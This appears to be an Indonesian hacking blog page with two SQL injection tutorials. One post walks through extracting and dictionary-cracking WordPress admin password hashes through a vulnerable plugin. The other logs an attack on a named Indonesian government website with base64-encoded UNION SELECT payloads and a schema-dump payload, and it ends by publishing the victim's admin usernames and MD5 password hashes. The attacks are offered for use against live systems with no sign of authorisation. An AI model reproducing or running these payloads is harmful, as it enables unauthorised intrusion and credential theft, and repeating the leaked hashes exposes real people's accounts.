Showing posts with label Hacking. Show all posts
Showing posts with label Hacking. Show all posts

WordPress adalah suatu CMS open source yang cukup terkenal dan telah banyak digunakan, wordpress merupakan penerus resmi dari b2/cafelog yang dikembangkan oleh Michel Valdrighi. Nama WordPress diusulkan oleh Christine Selleck, teman ketua pengembang (developer), Matt Mullenweg.

Pembahasan disini adalah serangan SQL Injection pada plugin WordPress yang bernama Event Registration.
Oke kita langsung saja. Untuk memeriksa ada tidaknya bug dapat dengan memberikan tanda petik pada url dibawah ini.

Untuk memeriksanya beri tanda petik

Setelah kita mengetahui ada masalah diatas, maka kita dapat memulai dengan melakukan order by.
Terus diperiksa sampai muncul error.
Pada order by ke 34 terjadi error. Untuk berikutnya kita lakukan Union all select dengan melakukan set 33.
,28,29,30,31,32,33

Perhatikan diatas muncul angka ajaib yaitu 2, angka ajaib 2 dapat digunakan untuk @@version, database() dan sebagainya.
Contoh untuk @@version :
22,23,24,25,26,27,28,29,30,31,32,33

Contoh untuk database()
,21,22,23,24,25,26,27,28,29,30,31,32,33

Contoh untuk user()
24,25,26,27,28,29,30,31,32,33

Setelah kita mengetahui bahwa target menggunakan MySQL versi 5 maka kita dapat menggunakan information_schema.tables.
Untuk mengetahui nama tabel
21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.tables+where+table_schema=
database%28%29

Untuk mengetahui nama kolom

19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+information_schema.columns+where+
table_name=0x77705F7573657273–
Untuk mendapatkan username dan password
%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33
%20from%20wp_users–

Untuk melakukan cracknya sebagai berikut :
Sebelumnya diasumsikan anda telah menginstall ActivePerl. Jika anda belum menginstall maka anda dapat mendownload terlebih dahulu dan diinstall.
Setelah ActivePerl telah di download dan di install maka anda dapat copy script WordPress 2.7 passwordHast Attack Tool dihttp://dl.packetstormsecurity.net/Crackers/wp-hash.txt, jangan khawatir walaupun ditulis WordPress 2.7 di script tetapi tetap bisa jalan untuk wordpress .3.x. Setelah anda copy dan paste maka anda dapat mengubah scriptnya pada value dari variabel $hashP dengan password terenkripsi yang kita dapat dari serangan SQL Injection tadi dan value dari variabel $dictionary dengan file dictonary yang dapat anda buat sendiri atau mencarinya di google.

Lebih jelasnya seperti diatas, jika sudah diubah dan simpan, maka jalankan file perl diatas seperti dibawah ini.
Binggo password login wordpress didapat yaitu passwordnya baseball, tinggal anda login ke wordpress untuk masuk ke halaman admin.

Sekian Dulu Tutorial Dari Blog Ini Semoga Bermamfaat Bagi Anda!!!

Hacking SQL Injection Manual Pada WordPress Dengan Permasalahan Pada Suatu Plugin


website: http://aplikasi.mgi.esdm.go.id/
bug location: http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTA%3D
bug type: MYSQL Injection base64 statement
author: X'1N73CT
POC:

[ tester ]
kita bisa lihat bahwa id web tersebut adalah base64 
ini terbukti dari hasil decode id tersebut ( MTA= ) adalah 10
berhubung idnya base64 jadi kita tinggal merubah perintahnya ke base64

seperti kita tau cara tester yg biasa kita lakukan adalah dengan menambahkan tanda ' di id
sehingga menjadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10'
namun harus di encode dulu ke base64 
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAn
lalu enter

hasil:
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

error 

lanjutt

[ mencari jumlah kolom ]
seperti biasa yg kita lakukan dalam tahap ini kita memakai perintah order by
seperti berikut:

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 1--
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMS0t
enter
hasil web normal 

kita lompat ke 100 , kenapa saya melompat jauh ke 100 yakni ingin mengecek web ini di proteksi apa tidak

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 100--
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMTAwLS0%3D

wahh webnya normal
kemungkinan ada 2 yakni website di protesi atau jumlah kolomnya lebih dari 100
untuk menetesnya kita sisipkan perintah ' dan -- -

sehingga menjadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 100-- -
jangan lupa di encode dulu
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwMC0tIC0%3D

alhasil 

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

error 
berarti kolom gk sampai 100 ( adminnya mau nipu saya ohh tidak bisa  )

kita mundur ke angka 12
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 12-- -
encode dulu:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEyLS0gLQ%3D%3D
enter

hasil
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25
eroor  gk sampai 12 juga

kita coba angka 10

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 10-- -
kita encode dulu:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwLS0gLQ%3D%3D

hasil

web kembali normal
xixixi berarti kolomnya diantara 10 - 11 heheh
kita coba 11

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 11-- -
encodenya:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDExLS0gLQ%3D%3D

hasil:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25

xixixi ahay kolomnya ada 10

lanjut ke tahap selanjutnya

[ mencari angka injeksi ]
bisa ditebak kan di tahap ini kita memakai perintah apa?

yups anda benar kita memakai perintah union select di ikuti urutan jumlah angka yg kita temukan tadi

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSwyLDMsNCw1LDYsNyw4LDksMTAtLSAt

hasil:
keluar angka 2,3,4,5,6,7,8,10
yups itulah angka injeksinya buat mneruskan langkah kita nanti

lanjuut

[ mencari versi mysql ]
ok dalam tahap ini kita memakai perintah version() adatu @@version
kita sisipkan di salah satu angka yg keluar tadi

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,version(),3,4,5,6,7,8,9,10-- -
encode:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSx2ZXJzaW9uKCksMyw0LDUsNiw3LDgsOSwxMC0tIC0%3D

hasil:
tampilan angka 2 tadi berubah menjadi 5.1.30 
yupp mantapp kita dapat versi 5
kalau versi kurang dari 5 kita harus tebak2 sendiri nama kolomnya

lanjutt

[ fast sqli ]
guna mempersingkat waktu saya pakai teknik ini saja
tekniknya mudah kok tinggal menggantikan perintah version dengan perintah ini
concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:=@running_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x))

seperti berikut
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:=@running_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x)),3,4,5,6,7,8,9,10-- -
jangan lupa di encode
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxjb25jYXQoMHgzYzYyM2U0MTc1NzQ2ODZmNzIyMDIwM2EyMDIwMjA1ODI3MzE0ZTM3MzM0MzU0M2M0MjUyM2U0MjU1NDcyMDU0Nzk3MDY1MjAzYTIwMjA1MzUxNGM0OTNjNjI3MjNlNGQ1OTUzNTE0YzIwNTY2NTcyNzM2OTZmNmUzYTIwLHZlcnNpb24oKSwoU0VMRUNUKEB4KWZyb20oU0VMRUNUKEB4Oj0weDAwKSwoQHJ1bm5pbmdfbnVtYmVyOj0wKSwoU0VMRUNUKDApZnJvbShpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyl3aGVyZSh0YWJsZV9zY2hlbWEhPTB4Njk2ZTY2NmY3MjZkNjE3NDY5NmY2ZTVmNzM2MzY4NjU2ZDYxKWFuZCgweDAwKWluKEB4Oj1jb25jYXQoQHgsMHgzYzYyNzIzZTIwLChAcnVubmluZ19udW1iZXI6PUBydW5uaW5nX251bWJlcisxKSwweDJlMjAsdGFibGVfc2NoZW1hLDB4MjAzZDNkM2UyMCx0YWJsZV9uYW1lLDB4MjAzZDNkM2UyMCxjb2x1bW5fbmFtZSkpKSl4KSksMyw0LDUsNiw3LDgsOSwxMC0tIC0%3D

hasil:
taraa,,
bisa dilihat sendiri 

lanjut kita cari username sama passwordnya
tinggal ctrl+f lalu ketik pass enter

berhubung ini website databasenya banyak
kita lihat aja database web ini dengan cara
mengganti perintah fast sqli tadi dengan perintah database()
cekidot
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,database(),3,4,5,6,7,8,9,10-- -
encode dulu ya:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAtLSAt

hasil:
muncul kata 
omen

yups nama databasenya adalah omen
kita klik back di firefox untuk kembali ke fast sqli tadi
lalu kita ctrl+f kata omen
dan cari admin nya

yups ketemu

2864. omen ==> admin ==> id
2865. omen ==> admin ==> nama
2866. omen ==> admin ==> user
2867. omen ==> admin ==> pass

format fas sqli disini ialah

namadatabse ==> namatabel ==> nama kolom
jadi
namadatabase: omen
nama tabel : admin
nama klom : id,nama,user,pass

lanjuutt

[ kita buka datanya ]

jika sudah tau nama database,namatabel dan nama kolomnya lngkah selnjutnya ialah kita buka datanya
buka datanya sama seperti biasa
yaki dengan perintah
group_concat(namakolom) diikuti dengan from nama tabel

namun jika databasenya kelihatan banyak bisa juga pakai yg ini

group_concat(namakolom) diikuti dengan from namadatabase.namatabel

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,group_concat(user,0x3a,pass),3,4,5,6,7,8,9,10 from omen.admin-- -

encodenya:

http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQodXNlciwweDNhLHBhc3MpLDMsNCw1LDYsNyw4LDksMTAgZnJvbSBvbWVuLmFkbWluLS0gLQ%3D%3D

hasil:
juhe:704b037a97fa9b25522b7c014c300f8a,
mgi:2d8ba2223ae0795eb813db8aa28bf0aa,
yuni:e10adc3949ba59abbe56e057f20f883e,
narto:350182be1d34410b443f569865119912, <== pemain utama film katun no 1 di jepang "NARTO"  just kiding
dery:ee453e6c81726c71cfdd34e74791d600

salam dari saya

X'1N73CT

spesial untuk my princess S1T1 B4RC0D3 and all my friend

MYSQL Injection base64 statement in web ESDM

Labels